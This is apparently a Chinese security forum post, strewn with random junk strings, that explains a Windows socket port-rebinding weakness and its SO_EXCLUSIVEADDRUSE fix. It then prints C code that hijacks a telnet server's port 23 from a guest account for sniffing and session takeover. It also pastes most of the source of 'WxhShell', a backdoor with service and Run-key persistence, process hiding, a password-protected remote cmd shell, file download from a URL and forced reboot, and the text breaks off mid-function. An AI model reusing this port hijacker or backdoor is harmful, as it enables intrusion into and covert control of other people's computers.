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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5ml#/kE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )nI}K QJ< W>*9T? saddr.sin_family = AF_INET; YH
5jvvOI cKb jW saddr.sin_addr.s_addr = htonl(INADDR_ANY); n&4 4Acs[ oQ=v:P] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _$oN"pj ."u-5r<O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {4%B^+}T
VXM5
B 这意味着什么?意味着可以进行如下的攻击: Uh9p,AV bu
j}pEI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9MI~yIt`L M`~UH\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g<@P_^vo ^5:xSQ@: 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [lmghI! WlJ$p$I` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 zFn!>Tqe PGE|){
< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #2XX [d% _~=qByD
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .o._`"V h
!yu. v 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6w )mo)<X - s} #include ,/XeG`vk #include jIzkI)WC| #include K] #include mw[T[ DWORD WINAPI ClientThread(LPVOID lpParam); HVq02 Z int main() 6G^x%s { Rfk8trD B WORD wVersionRequested; O/|,rAE DWORD ret; 3[RP:W@% WSADATA wsaData; T@S\:P BOOL val; re$xeq\1P? SOCKADDR_IN saddr; $CXMeY{tOo SOCKADDR_IN scaddr; `[&) X int err; 5f` a7R SOCKET s; GmONhh(k SOCKET sc; y,.X5#rnX* int caddsize; P Tc@MH) HANDLE mt; C`++r> DWORD tid; _gGI&0(VM wVersionRequested = MAKEWORD( 2, 2 ); gq'}LcV err = WSAStartup( wVersionRequested, &wsaData ); f4h|Nn%; if ( err != 0 ) { 2NNAsr}L printf("error!WSAStartup failed!\n"); hJ>Kfm return -1; p H5iv>H } N 9.$--X}D saddr.sin_family = AF_INET; 1;U
`e4" ;?*`WB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =Fd!wkB'{ GW29Rj1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >R9_; saddr.sin_port = htons(23); Zs(I]^w;d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g}vOp3^ { `2B,+ytW8 printf("error!socket failed!\n"); )}G?^rDH( return -1;
v4pFts$J } 0B o7EV val = TRUE; ?tf/#5t} //SO_REUSEADDR选项就是可以实现端口重绑定的 ;j#(%U]Vp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _0v+g1x { |UGmIm% printf("error!setsockopt failed!\n"); :cvZk|b% return -1; E!,+#%O> } B5nzkJV<X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IQ5H`o?[B
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cEP!DUo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cIm_~HH (Ov{gj^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )t$<FP { /YyimG7 ret=GetLastError(); zE~{}\J printf("error!bind failed!\n"); XMR$I&;G8 return -1; w;=fi}<G|e } WRq:xDRn0 listen(s,2); 7jj.maK while(1) aZk/\&=6 { &pL.hM^ caddsize = sizeof(scaddr); t,YnweH //接受连接请求 cJ}J4? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3!&PI if(sc!=INVALID_SOCKET) o!\Q, { eplz5%< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'V*ixK8R0 if(mt==NULL) ="k9
y { xD:t$~ printf("Thread Creat Failed!\n"); TjUg8k break; )@IDmz> } @y|ZXPC# } X\z`S##kj CloseHandle(mt); AM[#AZv } 4;rt|X77 closesocket(s); JTw< 4] WSACleanup(); eaG _)y return 0; \1[=t+/ } \z~wm& DWORD WINAPI ClientThread(LPVOID lpParam) @1`!}.Tk { U#u=9%' SOCKET ss = (SOCKET)lpParam; 3? R56$-+ SOCKET sc; L,(H(GeX unsigned char buf[4096]; <wIz8V SOCKADDR_IN saddr; ,n}h_ct long num; ~ x!"( DWORD val; d4 Hpe> DWORD ret; Wk0"U
V //如果是隐藏端口应用的话,可以在此处加一些判断 rx$B(z(c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +b9gP\Hke saddr.sin_family = AF_INET; N=JZtf/i saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /K@_O\+;Q saddr.sin_port = htons(23); q&:UP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y1oQ4|KSI { 6>fQe8Y printf("error!socket failed!\n"); 9AA_e
~y return -1; w_>SxSS7 } }o'WR'LX val = 100; zZhAH('fG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xT]|78h$ { Pl>BTo>p' ret = GetLastError(); dN8@ 0AMSf return -1; LU=<?"N6 } *hk8[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c,v?2*< { !xIK<H{* ret = GetLastError(); J&B>"s, return -1; cC NyW2' } k3 YDnMRA9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bh[`uRC} { bzl-|+!yB printf("error!socket connect failed!\n"); z;VAi=m
q closesocket(sc); 7,.3'cCL^ closesocket(ss); e"){B return -1; 37F&s } "%mu~&Ga while(1) cnm*&1EzV { <r8sZrY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kn^?.^dVX //如果是嗅探内容的话,可以再此处进行内容分析和记录 hB!>*AsG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,>AA2@6zMT num = recv(ss,buf,4096,0); GY%2EM( if(num>0) >" z$p@7 send(sc,buf,num,0); :vsF4 else if(num==0) bg =<) s break; PQ#zF&gL9t num = recv(sc,buf,4096,0); ~"Q24I if(num>0) zL%ruWNG send(ss,buf,num,0); MYmH?A else if(num==0) )6t=Bel break; 8B*XXFy\ } u>K(m))5W3 closesocket(ss); Im<i.a
<` closesocket(sc); f3p)Q<H>`( return 0 ; mBQp#-1\ } "u H VX|` jNC@b>E?~ ~8j4IO( ========================================================== v
J_1VW =B/Ac0Y 下边附上一个代码,,WXhSHELL Y*KP1=Md >U.f`24 ========================================================== HRG2sv T4t U#X6KRZ~g #include "stdafx.h" $ YPU(y HQ7 #include <stdio.h> /}ADV2sF #include <string.h> A_ftf7, #include <windows.h> FEF $4)ROv #include <winsock2.h> T1([P!g* #include <winsvc.h> bMrR #include <urlmon.h> pO10L`| pE~>k: #pragma comment (lib, "Ws2_32.lib") ^@4$O|3Wh' #pragma comment (lib, "urlmon.lib") (H_YYZ3ZX B=R9K3f #define MAX_USER 100 // 最大客户端连接数 J/{!_M- #define BUF_SOCK 200 // sock buffer b.4H4LV #define KEY_BUFF 255 // 输入 buffer Q&@~<!t PlX6,3F #define REBOOT 0 // 重启 "UVqHW1%K #define SHUTDOWN 1 // 关机
g%.;ZlK 1Fs:&* = #define DEF_PORT 5000 // 监听端口 hE9UWa.Q> e=).0S`*F #define REG_LEN 16 // 注册表键长度 Mqk[+n #define SVC_LEN 80 // NT服务名长度 dB=aq34l 8Q*477=I // 从dll定义API Y~fa=R{W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n6 VX0R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); in[yrqFb7t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :mI[fQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F s{}bQyQ &3:U&}I // wxhshell配置信息 v?)u1-V0 struct WSCFG { ;r1.Uz( int ws_port; // 监听端口 NmH:/xU?^ char ws_passstr[REG_LEN]; // 口令 kzb%=EI int ws_autoins; // 安装标记, 1=yes 0=no ^=1:!'*3D char ws_regname[REG_LEN]; // 注册表键名 <jk.9$\$A char ws_svcname[REG_LEN]; // 服务名 6%^9`|3 char ws_svcdisp[SVC_LEN]; // 服务显示名 Vi5&%/Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 R|,F C' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yf/c int ws_downexe; // 下载执行标记, 1=yes 0=no vr$zYdV> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 03$lg DQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `Cv@16 UEb'b,O_9 }; |nu)=Ag ;Q}pmBkqB // default Wxhshell configuration #n5DK{e struct WSCFG wscfg={DEF_PORT, X *fle "xuhuanlingzhe", o(|fapK. 1, GQvJj4LJp "Wxhshell", /5s,<
0Kz "Wxhshell", 7XDze(O5 "WxhShell Service", JKMcdD?' "Wrsky Windows CmdShell Service", `SN?4;N0 "Please Input Your Password: ", >7Y6NAwY 1, l(fStpP " http://www.wrsky.com/wxhshell.exe", hj*Fn "Wxhshell.exe" J=OWXL!<a }; yClbM5, MF}}o0P // 消息定义模块 C>0='@LB@r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c9<&+ char *msg_ws_prompt="\n\r? for help\n\r#>"; l0sBXs`3b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; /Sn>{ & char *msg_ws_ext="\n\rExit."; ]ICBNJ char *msg_ws_end="\n\rQuit."; |Ox!tvyr char *msg_ws_boot="\n\rReboot..."; "KhVS char *msg_ws_poff="\n\rShutdown..."; x#0B
"{ char *msg_ws_down="\n\rSave to "; Q|1X|_hs E{#Y= char *msg_ws_err="\n\rErr!"; !J%m 7A char *msg_ws_ok="\n\rOK!"; )tB1jcI; .o_?n.H'& char ExeFile[MAX_PATH]; eN?:3cP#l int nUser = 0; sO;]l"{< HANDLE handles[MAX_USER]; }8\"oA6 int OsIsNt; M%#H>X\/ |TE\ ] SERVICE_STATUS serviceStatus; RO9oO7S SERVICE_STATUS_HANDLE hServiceStatusHandle; Q&;d7A.@ ^;xO-;q // 函数声明 (46S^* int Install(void); (d@ = int Uninstall(void); 1 xu2$x.b int DownloadFile(char *sURL, SOCKET wsh); e|~s'{3 int Boot(int flag); -g6C;<Y void HideProc(void); {W5D) int GetOsVer(void); KDW=x4*p int Wxhshell(SOCKET wsl); TXDb5ZCzM void TalkWithClient(void *cs); =w/S{yC
int CmdShell(SOCKET sock); %x5zs ]4^ int StartFromService(void); ]B'H(o
R<| int StartWxhshell(LPSTR lpCmdLine); yS2[V,vS7 H{4/~Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d J;y>_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); |:{H4 F,l%SQCyj // 数据结构和表定义 Hc"FW5R SERVICE_TABLE_ENTRY DispatchTable[] = _;x7vRWmN { rcyq+wY # {wscfg.ws_svcname, NTServiceMain}, fmv8)$W#U {NULL, NULL} &8^1:CcE }; SyWLPh g0n
5&X // 自我安装 {k#RWDespy int Install(void) 4\?GA`@ { -?K?P=B;X char svExeFile[MAX_PATH]; ?{bAyh/ HKEY key; MGGc strcpy(svExeFile,ExeFile); e52y}'L .^}
vDA // 如果是win9x系统,修改注册表设为自启动 4CdST3 if(!OsIsNt) { 7Hm/g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Y5{opG7- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a|s64+ RegCloseKey(key); #ivN-WKCl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /j`vN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j & x=?jX RegCloseKey(key); ]*Tnu98G} return 0; *z{.9z` } ~LKX2Q:S } (H*d">`mz } >aaHN1Ca else { _H(:$=$Q HR>
X@ g<c // 如果是NT以上系统,安装为系统服务 [61T$ . SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,svj(HP$ if (schSCManager!=0) ZGHh!Ds; { =yZiBJ SC_HANDLE schService = CreateService w'-J24>= ( Oy `2ccQ# schSCManager, *Pmk1h2 wscfg.ws_svcname, UFED*al# wscfg.ws_svcdisp, !UV/p"CfX SERVICE_ALL_ACCESS, Wxxnc#;lv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?[ts<Ltp SERVICE_AUTO_START, 1~x=bphS SERVICE_ERROR_NORMAL, 5%5z@Ka svExeFile, @}^eyS$|! NULL, f/VrenZ_ NULL, dLtn,qCX0^ NULL, YyZ>w2_MTi NULL, 3X,SCG NULL BW61WH? ); tUp'cG if (schService!=0) 3?"JFfYU,' { NP {O CloseServiceHandle(schService); \~YyY'J CloseServiceHandle(schSCManager); G \S >H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xlH?J;$ strcat(svExeFile,wscfg.ws_svcname); b[MdA|C%j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hR] AUH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~D9VjXfL) RegCloseKey(key); )=
,Lfj8x return 0; &>Ko}?w } J6)&b7 } mOUIGlv CloseServiceHandle(schSCManager); GG}(*pOr } u7Xr!d+wR } #78P_{#! qC%[J:RwF return 1; 6,C,LT2^( } P9RIX;A= d/Z258 // 自我卸载 ?xTh}Sky int Uninstall(void) _Q:739& { q hPvU(
, HKEY key; LD~s@}yH> --~m{qmy if(!OsIsNt) { l^F%fIRp) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FZEK-]h. RegDeleteValue(key,wscfg.ws_regname); Zy -&g: RegCloseKey(key); ZL-YoMHc+_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PKx ewd RegDeleteValue(key,wscfg.ws_regname); SseMTw: RegCloseKey(key); &y}nd
7o return 0; g8_C|lVZi } E[FRx1^R9 } LE|*Je3a } as{^~8B else { 1xJc[q \I"UW1)B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nVTCbV if (schSCManager!=0) >}43xIRRCq { H9["ZRL,Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YGA("< if (schService!=0) qXGAlCq@ { ::xH C4tw if(DeleteService(schService)!=0) { _PPW9US{ CloseServiceHandle(schService); >tq,F"2amC CloseServiceHandle(schSCManager); 9P3jx)K return 0;
.3B3Z&vr } +n
$ {6/
CloseServiceHandle(schService); }^Unx W } e%v<nGN.- CloseServiceHandle(schSCManager); 9\/T #EP } @[qGoai } Q/%(&4>'y V0gk8wD return 1; Ch1+YZG } lD8&*5tDmP 5PJB<M_m: // 从指定url下载文件 &?@gUk74" int DownloadFile(char *sURL, SOCKET wsh) 6;lJs,I1w{ { PC_#kz HRESULT hr; ? 9.V@+i char seps[]= "/"; p<|I!n&9 char *token; #nE%.k|R~ char *file; z|Hc=AU8y char myURL[MAX_PATH]; FA.h?yfr char myFILE[MAX_PATH]; ;
)Vro %0PdN@I strcpy(myURL,sURL); CWVCYm@!kz token=strtok(myURL,seps); _u`NIpXSP while(token!=NULL) s_=/p5\ { Ufz& 2 file=token; LiyEF&_u token=strtok(NULL,seps); pr|P#mc"J } S^GB\uJ 0x}8} GetCurrentDirectory(MAX_PATH,myFILE); H<M
ggs- strcat(myFILE, "\\"); ,t+5(qi strcat(myFILE, file); K)Nbl^6x send(wsh,myFILE,strlen(myFILE),0); N#;k;Z'iL send(wsh,"...",3,0); r@&d88U: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $XqfwlUu/4 if(hr==S_OK) @)8QxI^3[ return 0; .EC/[fM else xg}RpC! return 1; wl{Fx+<^3 U}xQUFT| } }57wE$9K e!wS"[, // 系统电源模块 }}3*tn<6 int Boot(int flag) 7-M$c7S { Vrf+~KO7 HANDLE hToken; gY],
(*v TOKEN_PRIVILEGES tkp; kO:iA0KUX YC:>) if(OsIsNt) { -R,[/7zj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;SzOa7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n%w36_ tkp.PrivilegeCount = 1; &(fB+VNrOH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .,:700n+^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mj&f7IUO if(flag==REBOOT) { b9[KdVsT6^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [_jTy;E return 0; TqNEU<S/t } %C=
{\]-2~ else { wSp1ChS k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "`DCXn#mB return 0; krTH<- P } Y8I$JBO } A/W-'%+` else { (lhbH]I if(flag==REBOOT) { P5ii3a?R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X6mY#T'fQ return 0; W"fdK_F\ } )-824?Nl: else { W:uIG-y~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Urhh)i return 0; =5E G}@ } jNN$/ZWm } I"E5XVC); NDhHU#Q9 return 1; WigC' } >JFAE5tj&2 ^f{+p*i}: // win9x进程隐藏模块 tvptawA. void HideProc(void) XljiK8q;% { 93%U;0w[Nw M:OY8=V HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EA4aZ6% if ( hKernel != NULL ) m,3?*0BMp= { cpB$b C]( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M:c^[9)y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {A4"KX(U FreeLibrary(hKernel); A%n
l@`s, }
#.0^;M5Nh /<Cl\q2
A return; B`a5%asJn } w
.l2 7ZHM;_
- // 获取操作系统版本
SX|b0S, int GetOsVer(void) t&u,Od { $Q1:>i@I|g OSVERSIONINFO winfo; @R >4b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `gy]|gS#b GetVersionEx(&winfo); -p`hevRr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KcVCA return 1; w,]cFT else b/oJ[Vf return 0; p"/1Kwqx } &C3J6uCm+ /reSU 2 // 客户端句柄模块 i\G@ kJNnF int Wxhshell(SOCKET wsl) 6q?C"\_ { GVZ/`^ndM SOCKET wsh; |_aE~_ struct sockaddr_in client; z6bTcs"7h DWORD myID; DY?`Y%" ]j0v.[SX while(nUser<MAX_USER) I ms?^`N
{ ghJ81 int nSize=sizeof(client); 8QDRlF:;< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~=P&wBnJ if(wsh==INVALID_SOCKET) return 1; j& f-yc'i- m2%uGqz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "8VCXD if(handles[nUser]==0) =LuH:VM& closesocket(wsh); -yOrNir}W else .hlr)gF&) nUser++; UNq!| } Z=DAA+T` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Q^P< FJo N"X return 0; AV AF!Z } QvK/31*QG 2|(J<H // 关闭 socket gm9e-QIHK void CloseIt(SOCKET wsh) bAt%^pc=y { 0U ?1Yh7
m closesocket(wsh); W'rft@J$ nUser--;
=w0Rq~ ExitThread(0); $I~=t{;"XV } N%/Qc hu j/wG0~<kz // 客户端请求句柄 9*RfOdnNe void TalkWithClient(void *cs) ^10*s,(uS? { 4VSIE"8e cysYjuI i SOCKET wsh=(SOCKET)cs; WZdA<<,:o char pwd[SVC_LEN]; f8_5.vlw char cmd[KEY_BUFF]; X !NH?0) char chr[1]; OF,<K%A int i,j; 3>yb$ZU"- `,tv&siSA while (nUser < MAX_USER) { .
[+ObF9= Sm;&2" if(wscfg.ws_passstr) { SoS[yr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Nr6qxWg //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cIK-VmO //ZeroMemory(pwd,KEY_BUFF); fyYT #r i=0; {l.) *#O while(i<SVC_LEN) { 9s6, &' h&L+Qx // 设置超时 z<ptrH fd_set FdRead; kM*f9x struct timeval TimeOut; -lRXH7|X FD_ZERO(&FdRead); +dSe"W9 FD_SET(wsh,&FdRead); R0_%M TimeOut.tv_sec=8; X3%7VFy9 TimeOut.tv_usec=0; @fRB0m"3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?o$6w(]'' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -OZXl iW+ZI6@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;S"^O
AM pwd =chr[0]; {6~v oVkj if(chr[0]==0xd || chr[0]==0xa) { C^K?"800 pwd=0; Q?L-6]pg break; fxXZ^#2wX } ^;$a_eR i++; )MHvuk:I) } /hOp>| 7ml, // 如果是非法用户,关闭 socket ? Sj,HLo@U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [m?eSq6e2b } {[61LQ6V9 UMpC2)5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :R{Xd{? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HZ5*PXg~ q El:2 < while(1) { X2(TuR*t 0qnToV; ZeroMemory(cmd,KEY_BUFF); NcZ6!wWdE (ST/>")L // 自动支持客户端 telnet标准 M-,vX15S j=0; Z<;<!+, while(j<KEY_BUFF) { mNc( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :@KWp{ D7 cmd[j]=chr[0]; `XB(d@% if(chr[0]==0xa || chr[0]==0xd) { *eH[~4 cmd[j]=0; Pan^@B=Q break; he8y } Ms=x~o' j++; $L)9'X } %L=roqz _' Xt // 下载文件 R4 ;^R if(strstr(cmd,"http://")) { ]BP"$rs send(wsh,msg_ws_down,strlen(msg_ws_down),0); F]N9ZWn/ if(DownloadFile(cmd,wsh)) >#Y8#-$zc send(wsh,msg_ws_err,strlen(msg_ws_err),0); %g^dB M# else k=Pu4:RF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $^INl0Pg } zC(DigN else { ]t\fw' WO/;o0{d\9 switch(cmd[0]) { <@.f# "KcSOjvJ // 帮助 Z=|:D,& case '?': { t~)w921> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wr~# rfH break; MIub^ $<C } .!\y<9 // 安装 1RY}mq case 'i': { _FeLSk. if(Install()) 4>uz'j< send(wsh,msg_ws_err,strlen(msg_ws_err),0); wz + else R{NmWj['Mg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'C]zB'H= break; _&DI_'5q+ } Nj1vB;4Nx // 卸载 <8|vj2d2 case 'r': { br.jj if(Uninstall()) { .B^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); bqJL@!T else /d%&s^M: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^DS9D:oE break; h$)!eSu } +M$2:[xRT // 显示 wxhshell 所在路径 TW(rK& case 'p': { #[vmS char svExeFile[MAX_PATH]; j/TsHJ= strcpy(svExeFile,"\n\r"); @
eqVug strcat(svExeFile,ExeFile); Us+|L |/ send(wsh,svExeFile,strlen(svExeFile),0); L)H7~.Dj break; IxAKIa[HY } 36`aG Y // 重启 ^2mmgN case 'b': { oJ ,t]e*q= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "[L[*>[9! if(Boot(REBOOT)) ~e@QJ=r send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!3 X}@_N else { B'"C?d<7 closesocket(wsh); T;w%-k\<r ExitThread(0); RWP`#(&/& } k?0yH$)'t break; ;hA>?o_i( } yw41/jHF // 关机 s4Lqam! case 'd': { E)H:
L- send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K%P$#a if(Boot(SHUTDOWN)) iK#5HW{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); JBtcl#| else { SSYE& closesocket(wsh); 9n]zh- ExitThread(0); eLJW } _Ft4F`pM break; Aa[p7{e } ` :eXXE // 获取shell %k_R;/fjW case 's': { GM%%7 ^uE CmdShell(wsh); DDq*#;dP closesocket(wsh); N&K:Jp ExitThread(0); Q9t BHz break; ~>3$Id: } *.K+"WS% // 退出 DlC`GZEtqh case 'x': { YQ}Rg5o send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "
|[w.` CloseIt(wsh); ;|
##~Y.9 break; /)ps_gM } biKom|<nm // 离开 9F845M case 'q': { m{9m.~d send(wsh,msg_ws_end,strlen(msg_ws_end),0); \< <u closesocket(wsh); 1q0DOf]!T WSACleanup(); d@#!,P5` exit(1); bccJVwXv break; \-a^8{.^E } -"YQo } |'9%vtbM } TUHC[#Vb? f]L`^WU
// 提示信息 /5 B{szf if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >p [|U`>{ } %W~Kx_ } jku_0Q0*? vQ>x5\r5O_ return; 0+jR,5| } :CH "cbo ,+-l1GpL // shell模块句柄 8u
Tq0d6( int CmdShell(SOCKET sock) X1?7}VO { =kH7 STARTUPINFO si; 3 GmU$w ZeroMemory(&si,sizeof(si)); [g`9C!P-G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e`
Z;}&
, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .I$Q3%s PROCESS_INFORMATION ProcessInfo; )XV|D char cmdline[]="cmd"; P+ONQN| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _U( b return 0; 3TVp
oB` } B38_1X7 EtvZk9d6h* // 自身启动模式 o%XAw int StartFromService(void) :IlRn`9X` { [* ,k typedef struct ,*$L_itL { A;7p DWORD ExitStatus; 7nM]E_ DWORD PebBaseAddress; :@x24wN/ DWORD AffinityMask; N7Vv"o DWORD BasePriority; =cI -<0QSn ULONG UniqueProcessId; 0h/gqlTK1 ULONG InheritedFromUniqueProcessId; T;K@3]FbX } PROCESS_BASIC_INFORMATION; E/2 kX 3} O32p8AxEz PROCNTQSIP NtQueryInformationProcess; 'Vq
<;.A @{ *z1{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o7 ^t-
